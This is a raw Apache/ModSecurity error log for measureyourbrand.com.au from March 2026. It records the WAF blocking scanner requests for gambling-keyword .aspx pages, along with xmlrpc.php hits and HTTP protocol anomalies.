[Mon Mar 09 11:06:44.762710 2026] [:error] [pid 17485:tid 17508] [client 51.77.216.124:41042] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aa45RNQOL_kxQEc1PTCm2QAAARQ"]
[Mon Mar 09 11:06:47.108328 2026] [:error] [pid 2145:tid 2192] [client 51.77.216.124:48540] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aa45R3czzpD9XHtKwuCQmwAAAVQ"]
[Mon Mar 09 11:06:49.583839 2026] [:error] [pid 17485:tid 17495] [client 51.77.216.124:48554] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aa45SdQOL_kxQEc1PTCm4gAAAQc"]
[Mon Mar 09 11:06:52.088922 2026] [:error] [pid 2145:tid 2171] [client 51.77.216.124:48564] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aa45THczzpD9XHtKwuCQpgAAAUU"]
[Mon Mar 09 11:06:54.571380 2026] [:error] [pid 17485:tid 17491] [client 51.77.216.124:48572] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aa45TtQOL_kxQEc1PTCm6gAAAQM"]
[Mon Mar 09 11:06:56.893721 2026] [:error] [pid 6074:tid 6113] [client 51.77.216.124:56046] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20slot.aspx"] [unique_id "aa45UBgvXHMVGYw_ElxwcQAAANY"]
[Mon Mar 09 11:06:59.227244 2026] [:error] [pid 6074:tid 6094] [client 51.77.216.124:56048] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aa45UxgvXHMVGYw_ElxweQAAAMM"]
[Mon Mar 09 11:07:01.703304 2026] [:error] [pid 5787:tid 5926] [client 51.77.216.124:56056] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "aa45VbGpMgQ18gGUaFPVeAAAAIQ"]
[Mon Mar 09 11:07:04.168347 2026] [:error] [pid 5783:tid 5899] [client 51.77.216.124:56064] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aa45WAdiZJ1FQPtsTNRP2QAAAEU"]
[Mon Mar 09 11:07:06.638723 2026] [:error] [pid 2145:tid 2191] [client 51.77.216.124:56078] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "aa45WnczzpD9XHtKwuCQvgAAAVM"]
[Mon Mar 09 11:07:09.132052 2026] [:error] [pid 6074:tid 6107] [client 51.77.216.124:33790] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aa45XRgvXHMVGYw_ElxwgQAAANA"]
[Mon Mar 09 11:07:11.588808 2026] [:error] [pid 5783:tid 5895] [client 51.77.216.124:33802] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aa45XwdiZJ1FQPtsTNRP4QAAAEE"]
[Mon Mar 09 11:07:13.918864 2026] [:error] [pid 5779:tid 5858] [client 51.77.216.124:33808] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "aa45YQaHbHwtklaurgWR4wAAAAM"]
[Mon Mar 09 11:07:16.236557 2026] [:error] [pid 5787:tid 5945] [client 51.77.216.124:33810] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "aa45ZLGpMgQ18gGUaFPVnQAAAJc"]
[Mon Mar 09 11:07:18.722186 2026] [:error] [pid 17485:tid 17512] [client 51.77.216.124:44400] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aa45ZtQOL_kxQEc1PTCnIAAAARg"]
[Mon Mar 09 11:07:21.043464 2026] [:error] [pid 2145:tid 2180] [client 51.77.216.124:44410] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aa45aXczzpD9XHtKwuCQ2wAAAUw"]
[Mon Mar 09 11:07:23.527788 2026] [:error] [pid 2145:tid 2179] [client 51.77.216.124:44420] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aa45a3czzpD9XHtKwuCQ4gAAAUs"]
[Mon Mar 09 11:07:25.850075 2026] [:error] [pid 5779:tid 5865] [client 51.77.216.124:44436] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aa45bQaHbHwtklaurgWR8QAAAAo"]
[Mon Mar 09 11:07:28.323804 2026] [:error] [pid 2145:tid 2183] [client 51.77.216.124:48468] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aa45cHczzpD9XHtKwuCQ8gAAAU8"]
[Mon Mar 09 11:07:30.664640 2026] [:error] [pid 2145:tid 2169] [client 51.77.216.124:48478] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aa45cnczzpD9XHtKwuCQ-gAAAUM"]
[Mon Mar 09 11:07:33.158155 2026] [:error] [pid 17485:tid 17492] [client 51.77.216.124:48484] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aa45ddQOL_kxQEc1PTCnNAAAAQQ"]
[Mon Mar 09 11:07:35.640781 2026] [:error] [pid 6074:tid 6111] [client 51.77.216.124:48490] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aa45dxgvXHMVGYw_ElxwlgAAANQ"]
[Mon Mar 09 11:07:37.965937 2026] [:error] [pid 5787:tid 5926] [client 51.77.216.124:37426] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aa45ebGpMgQ18gGUaFPVpQAAAIQ"]
[Mon Mar 09 12:38:56.087799 2026] [:error] [pid 17485:tid 17492] [client 103.59.177.25:56773] [client 103.59.177.25] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.59.177.25, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aa5O4NQOL_kxQEc1PTDykQAAAQQ"]
[Mon Mar 09 13:37:35.127570 2026] [:error] [pid 6074:tid 6094] [client 216.73.216.110:48733] [client 216.73.216.110] ModSecurity: Warning. Pattern match "^$" at REQUEST_HEADERS:user-agent. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "120"] [id "217240"] [rev "3"] [msg "COMODO WAF: Empty User Agent Header||measureyourbrand.com.au|F|5"] [data "REQUEST_HEADERS:user-agent="] [severity "NOTICE"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/robots.txt"] [unique_id "aa5cnxgvXHMVGYw_ElymGgAAAMM"]
[Mon Mar 09 14:03:20.383857 2026] [:error] [pid 6074:tid 6115] [client 43.173.1.69:45560] [client 43.173.1.69] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aa5iqBgvXHMVGYw_ElyvuAAAANg"]
[Mon Mar 09 15:11:17.394951 2026] [ssl:error] [pid 17485:tid 17507] [client 3.151.194.164:51277] AH02032: Hostname measureyourbrand.com provided via SNI and hostname measureyourbrand.com.au provided via HTTP have no compatible SSL setup, referer: https://measureyourbrand.com/
[Mon Mar 09 16:10:59.591532 2026] [:error] [pid 5787:tid 5945] [client 106.194.25.251:56883] [client 106.194.25.251] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.194.25.251, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aa6Ak7GpMgQ18gGUaFMm0AAAAJc"]
[Mon Mar 09 16:15:59.323197 2026] [:error] [pid 5783:tid 5915] [client 103.179.233.94:10064] [client 103.179.233.94] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.179.233.94, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aa6BvwdiZJ1FQPtsTNSRTwAAAFU"]
[Tue Mar 10 04:00:39.645836 2026] [:error] [pid 61803:tid 61854] [client 162.62.213.187:33378] [client 162.62.213.187] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aa8m5_Ik-IG8h3wtrt7DJgAAAE4"]
[Tue Mar 10 04:04:45.873642 2026] [:error] [pid 61900:tid 61903] [client 147.135.213.175:57868] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aa8n3Xrlef9KpAFjq49zHAAAAME"]
[Tue Mar 10 04:04:48.242330 2026] [:error] [pid 61804:tid 61870] [client 147.135.213.175:39990] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aa8n4DzX7hnJDjkZm0UNOQAAAIM"]
[Tue Mar 10 04:04:50.780358 2026] [:error] [pid 61900:tid 61930] [client 147.135.213.175:42752] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aa8n4nrlef9KpAFjq49zKQAAAM4"]
[Tue Mar 10 04:48:26.573270 2026] [:error] [pid 7908:tid 8038] [client 217.182.194.3:49080] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aa8yGsY8gEjgYKb1A_jD0AAAAEQ"]
[Tue Mar 10 04:48:29.255525 2026] [:error] [pid 8193:tid 8244] [client 217.182.194.3:44520] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aa8yHR27LTs3sNpMSvwDdQAAANg"]
[Tue Mar 10 04:48:31.638412 2026] [:error] [pid 8193:tid 8238] [client 217.182.194.3:44522] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "aa8yHx27LTs3sNpMSvwDfwAAANI"]
[Tue Mar 10 04:48:34.009370 2026] [:error] [pid 8193:tid 8225] [client 217.182.194.3:44528] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aa8yIh27LTs3sNpMSvwDhwAAAMU"]
[Tue Mar 10 04:48:36.436640 2026] [:error] [pid 7912:tid 8080] [client 217.182.194.3:44542] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aa8yJCV7wJYuQ3GZEAVl5wAAAJA"]
[Tue Mar 10 04:48:38.995866 2026] [:error] [pid 8193:tid 8238] [client 217.182.194.3:34550] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aa8yJh27LTs3sNpMSvwDkwAAANI"]
[Tue Mar 10 04:48:41.625832 2026] [:error] [pid 7912:tid 8067] [client 217.182.194.3:34566] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aa8yKSV7wJYuQ3GZEAVl8QAAAIM"]
[Tue Mar 10 04:48:44.009937 2026] [:error] [pid 7904:tid 7994] [client 217.182.194.3:34582] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aa8yLNqdH-GCmASfJqHb6AAAAAI"]
[Tue Mar 10 04:48:46.405217 2026] [:error] [pid 8193:tid 8242] [client 217.182.194.3:34598] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aa8yLh27LTs3sNpMSvwDpgAAANY"]
[Tue Mar 10 04:48:48.839820 2026] [:error] [pid 7912:tid 8087] [client 217.182.194.3:40308] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aa8yMCV7wJYuQ3GZEAVmAgAAAJc"]
[Tue Mar 10 04:48:51.337156 2026] [:error] [pid 7912:tid 8068] [client 217.182.194.3:40324] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aa8yMyV7wJYuQ3GZEAVmBgAAAIQ"]
[Tue Mar 10 04:48:53.766483 2026] [:error] [pid 7904:tid 7993] [client 217.182.194.3:40340] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aa8yNdqdH-GCmASfJqHb7wAAAAE"]
[Tue Mar 10 04:48:56.298435 2026] [:error] [pid 8193:tid 8237] [client 217.182.194.3:40352] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "aa8yOB27LTs3sNpMSvwDuQAAANE"]
[Tue Mar 10 04:48:58.821135 2026] [:error] [pid 8193:tid 8240] [client 217.182.194.3:57006] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aa8yOh27LTs3sNpMSvwDwQAAANQ"]
[Tue Mar 10 04:49:01.373364 2026] [:error] [pid 8193:tid 8229] [client 217.182.194.3:57010] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aa8yPR27LTs3sNpMSvwDyAAAAMk"]
[Tue Mar 10 04:49:03.729587 2026] [:error] [pid 8193:tid 8226] [client 217.182.194.3:57022] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aa8yPx27LTs3sNpMSvwDzgAAAMY"]
[Tue Mar 10 04:49:06.289817 2026] [:error] [pid 8193:tid 8239] [client 217.182.194.3:57024] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aa8yQh27LTs3sNpMSvwD1AAAANM"]
[Tue Mar 10 04:49:08.761469 2026] [:error] [pid 7912:tid 8085] [client 217.182.194.3:60848] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aa8yRCV7wJYuQ3GZEAVmGQAAAJU"]
[Tue Mar 10 04:49:11.077343 2026] [:error] [pid 7908:tid 8044] [client 217.182.194.3:60854] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "aa8yR8Y8gEjgYKb1A_jECwAAAEk"]
[Tue Mar 10 04:49:13.597652 2026] [:error] [pid 7912:tid 8064] [client 217.182.194.3:60866] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aa8ySSV7wJYuQ3GZEAVmHQAAAIA"]
[Tue Mar 10 04:49:16.167236 2026] [:error] [pid 7912:tid 8072] [client 217.182.194.3:60876] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aa8yTCV7wJYuQ3GZEAVmIQAAAIg"]
